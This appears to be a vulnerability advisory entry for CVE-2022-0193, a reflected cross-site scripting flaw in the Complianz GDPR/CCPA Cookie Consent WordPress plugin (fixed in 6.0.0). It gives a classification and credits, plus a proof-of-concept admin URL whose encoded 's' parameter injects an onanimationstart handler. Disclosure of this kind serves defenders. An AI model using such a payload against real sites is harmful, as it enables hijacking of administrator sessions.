WordPress Plugin Vulnerabilities

Complianz - GDPR/CCPA Cookie Consent < 6.0.0 - Reflected Cross-Site Scripting

Description

The plugin does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin.php?page=cmplz-proof-of-consent&s=%22+style%3Danimation-name%3Ashine+onanimationstart%3Dalert%281%29+x%3D

Affects Plugins

Plugin icon
complianz-gdpr
Fixed in 6.0.0

References

CVE
CVE-2022-0193
URL
https://plugins.trac.wordpress.org/changeset/2654225

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
https://kazet.cc/
Verified
Yes
WPVDB ID
30d1d328-9f19-4c4c-b90a-04937d617864

Timeline

Publicly Published
2022-01-17 (about 2 years ago)
Added
2022-01-17 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

Other

Published
Title
Published
2022-05-23
Title
Zephyr Project Manager < 3.2.41 - Reflected Cross-Site Scripting
Published
2016-10-03
Title
WordPress Appointment Schedule Booking System - Authenticated Stored XSS
Published
2022-06-27
Title
Download Manager < 3.2.44 - Reflected Cross-Site Scripting
Published
2020-07-10
Title
InJob < 3.4.1 - Authenticated Reflected Cross-Site Scripting (XSS)
Published
2022-02-21
Title
Simple Theme Options < 1.7 - Admin+ Stored Cross-Site Scripting